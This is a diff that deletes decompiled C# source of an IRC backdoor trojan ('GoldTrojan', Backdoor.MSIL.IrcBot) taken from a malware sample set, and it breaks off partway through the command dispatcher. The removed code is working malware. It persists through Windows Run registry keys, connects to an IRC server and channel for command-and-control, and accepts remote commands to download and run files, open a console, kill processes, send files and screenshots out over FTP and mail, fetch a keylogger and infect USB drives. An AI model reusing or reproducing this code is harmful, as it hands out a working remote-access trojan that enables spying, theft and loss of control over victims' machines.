- DownloadData.ValidateResponse(downloadData.response, url);
- string fileName = Path.GetFileName(downloadData.response.ResponseUri.ToString());
- string str = Path.Combine(destFolder, fileName);
- if (!downloadData.IsProgressKnown && System.IO.File.Exists(str))
- System.IO.File.Delete(str);
- if (downloadData.IsProgressKnown && System.IO.File.Exists(str))
- {
- if (!(downloadData.Response is HttpWebResponse))
- {
- System.IO.File.Delete(str);
- }
- else
- {
- downloadData.start = new FileInfo(str).Length;
- if (downloadData.start > fileSize)
- System.IO.File.Delete(str);
- else if (downloadData.start < fileSize)
- {
- downloadData.response.Close();
- WebRequest request2 = downloadData.GetRequest(url);
- ((HttpWebRequest) request2).AddRange((int) downloadData.start);
- downloadData.response = request2.GetResponse();
- if (((HttpWebResponse) downloadData.Response).StatusCode != HttpStatusCode.PartialContent)
- {
- System.IO.File.Delete(str);
- downloadData.start = 0L;
- }
- }
- }
- }
- return downloadData;
- }
-
- private DownloadData()
- {
- }
-
- private DownloadData(WebResponse response, long size, long start)
- {
- this.response = response;
- this.size = size;
- this.start = start;
- this.stream = (Stream) null;
- }
-
- private static void ValidateResponse(WebResponse response, string url)
- {
- switch (response)
- {
- case HttpWebResponse _:
- HttpWebResponse httpWebResponse = (HttpWebResponse) response;
- if (!httpWebResponse.ContentType.Contains("text/html") && httpWebResponse.StatusCode != HttpStatusCode.NotFound)
- break;
- throw new ArgumentException(string.Format("Could not download \"{0}\" - a web page was returned from the web server.", (object) url));
- case FtpWebResponse _:
- if (((FtpWebResponse) response).StatusCode != FtpStatusCode.ConnectionClosed)
- break;
- throw new ArgumentException(string.Format("Could not download \"{0}\" - FTP server closed the connection.", (object) url));
- }
- }
-
- private long GetFileSize(string url)
- {
- WebResponse webResponse = (WebResponse) null;
- try
- {
- webResponse = this.GetRequest(url).GetResponse();
- return webResponse.ContentLength;
- }
- finally
- {
- webResponse?.Close();
- }
- }
-
- private WebRequest GetRequest(string url)
- {
- WebRequest request = WebRequest.Create(url);
- if (request is HttpWebRequest)
- {
- request.Credentials = CredentialCache.DefaultCredentials;
- request.Proxy.GetProxy(new Uri("http://www.google.com"));
- }
- if (this.proxy != null)
- request.Proxy = this.proxy;
- return request;
- }
-
- public void Close() => this.response.Close();
-
- public WebResponse Response
- {
- get => this.response;
- set => this.response = value;
- }
-
- public Stream DownloadStream
- {
- get
- {
- if (this.start == this.size)
- return Stream.Null;
- if (this.stream == null)
- this.stream = this.response.GetResponseStream();
- return this.stream;
- }
- }
-
- public long FileSize => this.size;
-
- public long StartPoint => this.start;
-
- public bool IsProgressKnown => this.size > -1L;
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/DownloadEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/DownloadEventArgs.cs
deleted file mode 100644
index 19993c26..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/DownloadEventArgs.cs
+++ /dev/null
@@ -1,49 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: GoldTrojan.DownloadEventArgs
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System;
-
-namespace GoldTrojan
-{
- public class DownloadEventArgs : EventArgs
- {
- private int percentDone;
- private string downloadState;
- private long totalFileSize;
- private long currentFileSize;
-
- public long TotalFileSize
- {
- get => this.totalFileSize;
- set => this.totalFileSize = value;
- }
-
- public long CurrentFileSize
- {
- get => this.currentFileSize;
- set => this.currentFileSize = value;
- }
-
- public DownloadEventArgs(long totalFileSize, long currentFileSize)
- {
- this.totalFileSize = totalFileSize;
- this.currentFileSize = currentFileSize;
- this.percentDone = (int) ((double) currentFileSize / (double) totalFileSize * 100.0);
- }
-
- public DownloadEventArgs(string state) => this.downloadState = state;
-
- public DownloadEventArgs(int percentDone, string state)
- {
- this.percentDone = percentDone;
- this.downloadState = state;
- }
-
- public int PercentDone => this.percentDone;
-
- public string DownloadState => this.downloadState;
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/DownloadProgressHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/DownloadProgressHandler.cs
deleted file mode 100644
index 2528e1d1..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/DownloadProgressHandler.cs
+++ /dev/null
@@ -1,10 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: GoldTrojan.DownloadProgressHandler
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace GoldTrojan
-{
- public delegate void DownloadProgressHandler(object sender, DownloadEventArgs e);
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/FileDownloader.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/FileDownloader.cs
deleted file mode 100644
index 0128d397..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/FileDownloader.cs
+++ /dev/null
@@ -1,184 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: GoldTrojan.FileDownloader
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System;
-using System.Collections.Generic;
-using System.IO;
-using System.Net;
-using System.Threading;
-
-namespace GoldTrojan
-{
- public class FileDownloader
- {
- private const int downloadBlockSize = 1024;
- private bool canceled;
- private string downloadingTo;
- private IWebProxy proxy;
-
- public string DownloadingTo => this.downloadingTo;
-
- public void Cancel() => this.canceled = true;
-
- public event DownloadProgressHandler ProgressChanged;
-
- public IWebProxy Proxy
- {
- get => this.proxy;
- set => this.proxy = value;
- }
-
- public event EventHandler DownloadComplete;
-
- private void OnDownloadComplete()
- {
- if (this.DownloadComplete == null)
- return;
- this.DownloadComplete((object) this, new EventArgs());
- }
-
- public void Download(string url) => this.Download(url, "");
-
- public void Download(string url, string destFolder)
- {
- DownloadData downloadData = (DownloadData) null;
- this.canceled = false;
- try
- {
- downloadData = DownloadData.Create(url, destFolder, this.proxy);
- string fileName = Path.GetFileName(downloadData.Response.ResponseUri.ToString());
- destFolder = destFolder.Replace("file:///", "").Replace("file://", "");
- this.downloadingTo = Path.Combine(destFolder, fileName);
- if (!System.IO.File.Exists(this.downloadingTo))
- System.IO.File.Create(this.downloadingTo).Close();
- byte[] buffer = new byte[1024];
- long startPoint = downloadData.StartPoint;
- bool flag = false;
- int count;
- while ((count = downloadData.DownloadStream.Read(buffer, 0, 1024)) > 0)
- {
- if (this.canceled)
- {
- flag = true;
- downloadData.Close();
- break;
- }
- startPoint += (long) count;
- this.SaveToFile(buffer, count, this.downloadingTo);
- if (downloadData.IsProgressKnown)
- this.RaiseProgressChanged(startPoint, downloadData.FileSize);
- if (this.canceled)
- {
- flag = true;
- downloadData.Close();
- break;
- }
- }
- if (flag)
- return;
- this.OnDownloadComplete();
- }
- catch (UriFormatException ex)
- {
- throw new ArgumentException(string.Format("Could not parse the URL \"{0}\" - it's either malformed or is an unknown protocol.", (object) url), (Exception) ex);
- }
- finally
- {
- downloadData?.Close();
- }
- }
-
- public void Download(List urlList) => this.Download(urlList, "");
-
- public void Download(List urlList, string destFolder)
- {
- if (urlList == null)
- throw new ArgumentException("Url list not specified.");
- if (urlList.Count == 0)
- throw new ArgumentException("Url list empty.");
- Exception exception = (Exception) null;
- foreach (string url in urlList)
- {
- exception = (Exception) null;
- try
- {
- this.Download(url, destFolder);
- }
- catch (Exception ex)
- {
- exception = ex;
- }
- if (exception == null)
- break;
- }
- if (exception != null)
- throw exception;
- }
-
- public void AsyncDownload(string url) => ThreadPool.QueueUserWorkItem(new WaitCallback(this.WaitCallbackMethod), (object) new string[2]
- {
- url,
- ""
- });
-
- public void AsyncDownload(string url, string destFolder) => ThreadPool.QueueUserWorkItem(new WaitCallback(this.WaitCallbackMethod), (object) new string[2]
- {
- url,
- destFolder
- });
-
- public void AsyncDownload(List urlList, string destFolder) => ThreadPool.QueueUserWorkItem(new WaitCallback(this.WaitCallbackMethod), (object) new object[2]
- {
- (object) urlList,
- (object) destFolder
- });
-
- public void AsyncDownload(List urlList) => ThreadPool.QueueUserWorkItem(new WaitCallback(this.WaitCallbackMethod), (object) new object[2]
- {
- (object) urlList,
- (object) ""
- });
-
- private void WaitCallbackMethod(object data)
- {
- if (data is string[])
- {
- string[] strArray = data as string[];
- this.Download(strArray[0], strArray[1]);
- }
- else
- {
- object[] objArray = data as object[];
- this.Download(objArray[0] as List, objArray[1] as string);
- }
- }
-
- private void SaveToFile(byte[] buffer, int count, string fileName)
- {
- FileStream fileStream = (FileStream) null;
- try
- {
- fileStream = System.IO.File.Open(fileName, FileMode.Append, FileAccess.Write);
- fileStream.Write(buffer, 0, count);
- }
- catch (ArgumentException ex)
- {
- throw new ArgumentException(string.Format("Error trying to save file \"{0}\": {1}", (object) fileName, (object) ex.Message), (Exception) ex);
- }
- finally
- {
- fileStream?.Close();
- }
- }
-
- private void RaiseProgressChanged(long current, long target)
- {
- if (this.ProgressChanged == null)
- return;
- this.ProgressChanged((object) this, new DownloadEventArgs(target, current));
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Form1.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Form1.cs
deleted file mode 100644
index 07f73758..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Form1.cs
+++ /dev/null
@@ -1,2931 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: GoldTrojan.Form1
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using Dolinay;
-using Meebey.SmartIrc4net;
-using Microsoft.Win32;
-using System;
-using System.Collections;
-using System.ComponentModel;
-using System.Diagnostics;
-using System.Drawing;
-using System.Drawing.Imaging;
-using System.IO;
-using System.Management;
-using System.Net;
-using System.Net.Mail;
-using System.Runtime.InteropServices;
-using System.Text;
-using System.Threading;
-using System.Timers;
-using System.Windows.Forms;
-
-namespace GoldTrojan
-{
- public class Form1 : Form
- {
- private const int SPI_SETDESKWALLPAPER = 20;
- private const int SPIF_UPDATEINIFILE = 1;
- private const int SPIF_SENDWININICHANGE = 2;
- private string kom = "";
- private string wiad = "";
- private string foldergames = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\gammess";
- private string folderbs = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\BlueSoft";
- private string mdgm = nameof (mdgm);
- private string adbs = nameof (adbs);
- private System.Timers.Timer tm = new System.Timers.Timer();
- private System.Timers.Timer stt = new System.Timers.Timer();
- private bool polaczony;
- private Hashtable _sessions = new Hashtable();
- public Hashtable treeViewForms = new Hashtable();
- public IrcFeatures irc;
- private int k;
- private int lu;
- private string[] lcu = new string[200];
- private string wer = "3.2d";
- private string chk;
- private bool wyslaniepliku;
- private bool sprproc;
- private Chat ch;
- private string rt = "";
- private Channel _channel;
- private IContainer components;
-
- public Form1()
- {
- if (this.SprawdzRejestr())
- {
- this.InitializeComponent();
- this.ShowInTaskbar = false;
- this.FormBorderStyle = FormBorderStyle.SizableToolWindow;
- new DriveDetector().DeviceArrived += new DriveDetectorEventHandler(this.NowyDysk);
- Thread.Sleep(10000);
- this.tm.Interval = 10000.0;
- this.tm.Elapsed += new ElapsedEventHandler(this.tm_Elapsed);
- this.tm.Enabled = true;
- this.AktualizujAuto();
- this.Blokowanie();
- }
- else
- {
- try
- {
- Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\BlueSoft", "knp", (object) "true");
- }
- catch
- {
- }
- Process.GetCurrentProcess().Kill();
- }
- }
-
- private bool SprawdzRejestr()
- {
- string str1 = "Run";
- string str2 = "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\";
- string str3 = "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\";
- try
- {
- try
- {
- Registry.SetValue(str3 + str1, "svhost", (object) Application.ExecutablePath);
- }
- catch
- {
- }
- try
- {
- Registry.SetValue(str2 + str1, "svhost", (object) "");
- }
- catch
- {
- }
- }
- catch
- {
- }
- if (Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\asd", "svchost", (object) "").ToString() == "")
- return true;
- RegistryKey subKey = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\asd");
- subKey.DeleteValue("svchost");
- subKey.Close();
- return false;
- }
-
- private void tm_Elapsed(object sender, ElapsedEventArgs e)
- {
- if (!this.polaczony)
- {
- this.asd();
- }
- else
- {
- if (this.irc.IsConnected)
- return;
- this.asd();
- }
- }
-
- private void asd()
- {
- this.polaczony = true;
- this.irc = new IrcFeatures();
- this.irc.SendDelay = 200;
- this.irc.ActiveChannelSyncing = true;
- this.irc.PingTimeout = 120000;
- this.irc.AutoReconnect = true;
- this.irc.AutoRejoin = true;
- this.irc.AutoRejoinOnKick = true;
- this.lacz();
- this.ZbierzDane();
- }
-
- public void lacz()
- {
- if (this.irc.IsConnected)
- return;
- string str1 = Convert.ToString(new Random().Next(0, 20000));
- string[] strArray = "irc.webchat.org".Split(':');
- string address = strArray[0];
- int port = strArray.Length <= 1 ? 6667 : int.Parse(strArray[1]);
- string realname = "asd" + str1;
- string str2 = "x" + Environment.UserName + str1;
- string password = "";
- string str3 = str2;
- char[] charArray = str3.ToCharArray();
- for (int index = 0; index < charArray.Length; ++index)
- {
- switch (charArray[index])
- {
- case 'Ó':
- charArray[index] = 'O';
- break;
- case 'ó':
- charArray[index] = 'o';
- break;
- case 'Ą':
- charArray[index] = 'A';
- break;
- case 'ą':
- charArray[index] = 'a';
- break;
- case 'Ć':
- charArray[index] = 'C';
- break;
- case 'ć':
- charArray[index] = 'c';
- break;
- case 'Ę':
- charArray[index] = 'E';
- break;
- case 'ę':
- charArray[index] = 'e';
- break;
- case 'Ł':
- charArray[index] = 'L';
- break;
- case 'ł':
- charArray[index] = 'l';
- break;
- case 'Ń':
- charArray[index] = 'N';
- break;
- case 'ń':
- charArray[index] = 'n';
- break;
- case 'Ś':
- charArray[index] = 'S';
- break;
- case 'ś':
- charArray[index] = 's';
- break;
- case 'Ź':
- charArray[index] = 'Z';
- break;
- case 'ź':
- charArray[index] = 'z';
- break;
- case 'Ż':
- charArray[index] = 'Z';
- break;
- case 'ż':
- charArray[index] = 'z';
- break;
- }
- str3 = new string(charArray);
- }
- string str4 = str3;
- try
- {
- this.irc.Connect(address, port);
- }
- catch (ConnectionException ex)
- {
- }
- this.irc.Login(str4, realname, 0, str4, password);
- new Form1.ircListener(((IrcConnection) this.irc).Listen).BeginInvoke((AsyncCallback) null, (object) null);
- if (!this.irc.IsConnected)
- return;
- this.debug();
- }
-
- private void debug()
- {
- if (!this.irc.IsConnected)
- return;
- this.irc.WriteLine("join #jaknie5 gd201132");
- this.irc.WriteLine("join #" + this.irc.Nickname);
- this.kanal();
- }
-
- private void kanal()
- {
- this.irc.OnChannelMessage += new IrcEventHandler(this.Wiadomosc);
- this.irc.OnQuit += new QuitEventHandler(this.irc_OnQuit);
- this.irc.OnJoin += new JoinEventHandler(this.irc_OnJoin);
- this.irc.OnPart += new PartEventHandler(this.irc_OnPart);
- this.irc.OnKick += new KickEventHandler(this.irc_OnKick);
- }
-
- private void Wiadomosc(object sender, IrcEventArgs e)
- {
- if (e.Data.Channel == "#jaknie5")
- {
- try
- {
- DateTime now = DateTime.Now;
- int hour = now.Hour;
- int minute = now.Minute;
- string str = "[" + Convert.ToString(hour) + ":" + Convert.ToString(minute) + "]";
- Form1 form1 = this;
- form1.wiad = form1.wiad + e.Data.Nick + ": " + str + Environment.NewLine + e.Data.Message + Environment.NewLine;
- }
- catch
- {
- }
- this.kom = e.Data.Message;
- if (this.SprCzyOP(e.Data.Nick) && this.kom.Contains("irc"))
- this.Polecenia();
- if (this.SprCzyVoice(e.Data.Nick) && this.kom.Contains("irc"))
- this.PoleceniaVoice();
- }
- if (!(e.Data.Channel == "#" + this.irc.Nickname))
- return;
- try
- {
- DateTime now = DateTime.Now;
- int hour = now.Hour;
- int minute = now.Minute;
- string str = "[" + Convert.ToString(hour) + ":" + Convert.ToString(minute) + "]";
- Form1 form1 = this;
- form1.wiad = form1.wiad + e.Data.Nick + ": " + str + Environment.NewLine + e.Data.Message + Environment.NewLine;
- }
- catch
- {
- }
- this.kom = e.Data.Message;
- if (this.SprCzyOP(e.Data.Nick))
- {
- this.kom.Contains("irc");
- this.Polecenia();
- }
- if (!this.SprCzyVoice(e.Data.Nick) || !this.kom.Contains("irc"))
- return;
- this.PoleceniaVoice();
- }
-
- private void irc_OnQuit(object sender, QuitEventArgs e)
- {
- this.OPZarzadzaj();
- Form1 form1 = this;
- form1.wiad = form1.wiad + e.Who + " opuścił kanał" + Environment.NewLine;
- }
-
- private void irc_OnJoin(object sender, JoinEventArgs e)
- {
- if (this.irc.IsMe(e.Who))
- {
- Form1 form1 = this;
- form1.wiad = form1.wiad + "Dołączyłeś do kanału" + Environment.NewLine;
- }
- else
- {
- Form1 form1 = this;
- form1.wiad = form1.wiad + e.Who + " dołączył do kanału" + Environment.NewLine;
- }
- }
-
- private void irc_OnPart(object sender, PartEventArgs e)
- {
- Form1 form1 = this;
- form1.wiad = form1.wiad + e.Who + " opuścił kanał" + Environment.NewLine;
- }
-
- private void irc_OnKick(object sender, KickEventArgs e)
- {
- if (this.irc.IsMe(e.Whom))
- {
- Form1 form1 = this;
- form1.wiad = form1.wiad + "Zostałeś wyrzucony z tego kanału" + Environment.NewLine;
- }
- else
- {
- Form1 form1 = this;
- form1.wiad = form1.wiad + e.Whom + " został wyrzucony z tego kanału przez " + e.Who + " za " + e.KickReason + Environment.NewLine;
- }
- }
-
- private void Polecenia()
- {
- int num = 0;
- string str1 = "wyjedz";
- string str2 = "wjedz";
- string str3 = "wyjwje";
- string str4 = "pobierz";
- string str5 = "otworz";
- string str6 = "wersja";
- string str7 = "pomoc";
- string str8 = "informacje";
- string str9 = "konsola";
- string str10 = "lista procesow";
- string str11 = "zabij";
- string str12 = "zabid";
- string str13 = "komunikat";
- string str14 = "pomkom";
- string str15 = "wylacz";
- string str16 = "wyloguj";
- string str17 = "wylogowac";
- string str18 = "restart";
- string str19 = "hibernacja";
- string str20 = "pobudka";
- string str21 = "sprawdz startup";
- string str22 = "chat";
- string str23 = "ww";
- string str24 = "chu";
- string str25 = "swi";
- string str26 = "zrobssf";
- string str27 = "wyswietl pliki";
- string str28 = "ftp pliki";
- string str29 = "ftp foldery";
- string str30 = "ftp drzewo";
- string str31 = "ftp wyslij";
- string str32 = "usun plik";
- string str33 = "usun folder";
- string str34 = "sprawdz proces";
- string str35 = "sciagnij keyloggera";
- string str36 = "mail folplik";
- string str37 = "mail wyslij";
- string str38 = "wyswietl foldery";
- string str39 = "mail pliki";
- string str40 = "mail foldery";
- string str41 = "mail drzewo";
- string str42 = "zrobssm";
- string str43 = "logi";
- string str44 = "aktualizuj";
- string str45 = "wyczysc";
- string str46 = "zmien tapete";
- string str47 = "blokuj";
- string str48 = "infekuj";
- string str49 = "ustawienia";
- string str50 = "rejestr";
- if (this.kom.Contains(str1))
- num = 1;
- if (this.kom.Contains(str2))
- num = 2;
- if (this.kom.Contains(str3))
- num = 3;
- if (this.kom.Contains(str4))
- num = 4;
- if (this.kom.Contains(str5))
- num = 5;
- if (this.kom.Contains(str6))
- num = 6;
- if (this.kom.Contains(str7))
- num = 7;
- if (this.kom.Contains(str8))
- num = 8;
- if (this.kom.Contains(str9))
- num = 9;
- if (this.kom.Contains(str10))
- num = 10;
- if (this.kom.Contains(str11))
- num = 11;
- if (this.kom.Contains(str12))
- num = 12;
- if (this.kom.Contains(str13))
- num = 13;
- if (this.kom.Contains(str14))
- num = 14;
- if (this.kom.Contains(str15))
- num = 15;
- if (this.kom.Contains(str16))
- num = 16;
- if (this.kom.Contains(str17))
- num = 17;
- if (this.kom.Contains(str18))
- num = 18;
- if (this.kom.Contains(str19))
- num = 19;
- if (this.kom.Contains(str20))
- num = 20;
- if (this.kom.Contains(str21))
- num = 21;
- if (this.kom.Contains(str22))
- num = 22;
- if (this.kom.Contains(str23))
- num = 23;
- if (this.kom.Contains(str24))
- num = 24;
- if (this.kom.Contains(str25))
- num = 25;
- if (this.kom.Contains(str26))
- num = 26;
- if (this.kom.Contains(str27))
- num = 27;
- if (this.kom.Contains(str28))
- num = 28;
- if (this.kom.Contains(str29))
- num = 29;
- if (this.kom.Contains(str30))
- num = 30;
- if (this.kom.Contains(str31))
- num = 31;
- if (this.kom.Contains(str32))
- num = 32;
- if (this.kom.Contains(str33))
- num = 33;
- if (this.kom.Contains(str34))
- num = 34;
- if (this.kom.Contains(str35))
- num = 35;
- if (this.kom.Contains(str36))
- num = 36;
- if (this.kom.Contains(str37))
- num = 37;
- if (this.kom.Contains(str38))
- num = 38;
- if (this.kom.Contains(str39))
- num = 39;
- if (this.kom.Contains(str40))
- num = 40;
- if (this.kom.Contains(str41))
- num = 41;
- if (this.kom.Contains(str42))
- num = 42;
- if (this.kom.Contains(str43))
- num = 43;
- if (this.kom.Contains(str44))
- num = 44;
- if (this.kom.Contains(str45))
- num = 45;
- if (this.kom.Contains(str46))
- num = 46;
- if (this.kom.Contains(str47))
- num = 47;
- if (this.kom.Contains(str48))
- num = 48;
- if (this.kom.Contains(str49))
- num = 49;
- if (this.kom.Contains(str50))
- num = 50;
- switch (num)
- {
- case 1:
- this.Wysuwanie();
- break;
- case 2:
- this.Wsuwanie();
- break;
- case 3:
- this.wyswsu();
- break;
- case 4:
- this.Pobierz();
- break;
- case 5:
- this.Otworz();
- break;
- case 6:
- this.Wersja();
- break;
- case 7:
- this.Pomoc();
- break;
- case 8:
- this.Informacje();
- break;
- case 9:
- this.Konsola();
- break;
- case 10:
- this.Procesy();
- break;
- case 11:
- this.ZabijProces();
- break;
- case 12:
- this.ZabijIDProces();
- break;
- case 13:
- this.Komunikaty();
- break;
- case 14:
- this.PomocKomunikaty();
- break;
- case 15:
- this.wylacz();
- break;
- case 16:
- this.wyloguj();
- break;
- case 17:
- this.wyloguj2();
- break;
- case 18:
- this.restart();
- break;
- case 19:
- this.hibernacja();
- break;
- case 20:
- this.pobudka();
- break;
- case 21:
- this.PobierzStartup();
- break;
- case 22:
- this.PokazChat();
- break;
- case 23:
- this.WyslijWiadomosc();
- break;
- case 24:
- this.SchowajChat();
- break;
- case 25:
- this.OdbierzWiadomosc();
- break;
- case 26:
- this.ftpZrobSS();
- break;
- case 27:
- this.SprawdzPliki();
- break;
- case 28:
- this.ftpWyswietlPliki();
- break;
- case 29:
- this.ftpWyswietlKatalogi();
- break;
- case 30:
- this.ftpWyswietlDrzewo();
- break;
- case 31:
- this.ftpWyslijPliki();
- break;
- case 32:
- this.UsunPlik();
- break;
- case 33:
- this.UsunFolder();
- break;
- case 34:
- this.SprawdzProces();
- break;
- case 35:
- this.PobierzKeyloggera();
- break;
- case 36:
- this.mailWyslijFolder();
- break;
- case 37:
- this.mailWyslijPlik();
- break;
- case 38:
- this.SprawdzFoldery();
- break;
- case 39:
- this.mailWyswietlPliki();
- break;
- case 40:
- this.mailWyswietlKatalogi();
- break;
- case 41:
- this.mailWyswietlDrzewo();
- break;
- case 42:
- this.mailZrobSS();
- break;
- case 43:
- this.Logi();
- break;
- case 44:
- this.Aktualizuj();
- break;
- case 45:
- this.Czyszczenie();
- break;
- case 46:
- this.ZmienTapete();
- break;
- case 47:
- this.Blokowanie();
- break;
- case 48:
- this.InfekujPendrive();
- break;
- case 49:
- this.UstawieniaRejestru();
- break;
- case 50:
- this.Rejestr();
- break;
- default:
- this.irc.SendMessage(SendType.Message, "#jaknie5", "-.-");
- break;
- }
- }
-
- private void PoleceniaVoice()
- {
- int num = 0;
- string str1 = "pobierz";
- string str2 = "otworz";
- string str3 = "wersja";
- string str4 = "pomoc";
- string str5 = "informacje";
- string str6 = "konsola";
- string str7 = "lista procesow";
- string str8 = "zabid";
- string str9 = "komunikat";
- string str10 = "pomkom";
- string str11 = "sprawdz startup";
- string str12 = "zrobssf";
- string str13 = "wyswietl pliki";
- string str14 = "ftp pliki";
- string str15 = "ftp foldery";
- string str16 = "ftp drzewo";
- string str17 = "ftp wyslij";
- string str18 = "usun plik";
- string str19 = "usun folder";
- string str20 = "sprawdz proces";
- string str21 = "sciagnij keyloggera";
- string str22 = "mail folplik";
- string str23 = "mail wyslij";
- string str24 = "wyswietl foldery";
- string str25 = "mail pliki";
- string str26 = "mail foldery";
- string str27 = "mail drzewo";
- string str28 = "zrobssm";
- string str29 = "logi";
- string str30 = "aktualizuj";
- string str31 = "wyczysc";
- if (this.kom.Contains(str1))
- num = 1;
- if (this.kom.Contains(str2))
- num = 2;
- if (this.kom.Contains(str3))
- num = 3;
- if (this.kom.Contains(str4))
- num = 4;
- if (this.kom.Contains(str5))
- num = 5;
- if (this.kom.Contains(str6))
- num = 6;
- if (this.kom.Contains(str7))
- num = 7;
- if (this.kom.Contains(str8))
- num = 8;
- if (this.kom.Contains(str9))
- num = 9;
- if (this.kom.Contains(str10))
- num = 10;
- if (this.kom.Contains(str11))
- num = 11;
- if (this.kom.Contains(str12))
- num = 12;
- if (this.kom.Contains(str13))
- num = 13;
- if (this.kom.Contains(str14))
- num = 14;
- if (this.kom.Contains(str15))
- num = 15;
- if (this.kom.Contains(str16))
- num = 16;
- if (this.kom.Contains(str17))
- num = 17;
- if (this.kom.Contains(str18))
- num = 18;
- if (this.kom.Contains(str19))
- num = 19;
- if (this.kom.Contains(str20))
- num = 20;
- if (this.kom.Contains(str21))
- num = 21;
- if (this.kom.Contains(str22))
- num = 22;
- if (this.kom.Contains(str23))
- num = 23;
- if (this.kom.Contains(str24))
- num = 24;
- if (this.kom.Contains(str25))
- num = 25;
- if (this.kom.Contains(str26))
- num = 26;
- if (this.kom.Contains(str27))
- num = 27;
- if (this.kom.Contains(str28))
- num = 28;
- if (this.kom.Contains(str29))
- num = 29;
- if (this.kom.Contains(str30))
- num = 30;
- if (this.kom.Contains(str31))
- num = 31;
- switch (num)
- {
- case 1:
- this.Pobierz();
- break;
- case 2:
- this.Otworz();
- break;
- case 3:
- this.Wersja();
- break;
- case 4:
- this.PomocVoice();
- break;
- case 5:
- this.Informacje();
- break;
- case 6:
- this.Konsola();
- break;
- case 7:
- this.Procesy();
- break;
- case 8:
- this.ZabijIDProces();
- break;
- case 9:
- this.Komunikaty();
- break;
- case 10:
- this.PomocKomunikaty();
- break;
- case 11:
- this.PobierzStartup();
- break;
- case 12:
- this.ftpZrobSS();
- break;
- case 13:
- this.SprawdzPliki();
- break;
- case 14:
- this.ftpWyswietlPliki();
- break;
- case 15:
- this.ftpWyswietlKatalogi();
- break;
- case 16:
- this.ftpWyswietlDrzewo();
- break;
- case 17:
- this.ftpWyslijPliki();
- break;
- case 18:
- this.UsunPlik();
- break;
- case 19:
- this.UsunFolder();
- break;
- case 20:
- this.SprawdzProces();
- break;
- case 21:
- this.PobierzKeyloggera();
- break;
- case 22:
- this.mailWyslijFolder();
- break;
- case 23:
- this.mailWyslijPlik();
- break;
- case 24:
- this.SprawdzFoldery();
- break;
- case 25:
- this.mailWyswietlPliki();
- break;
- case 26:
- this.mailWyswietlKatalogi();
- break;
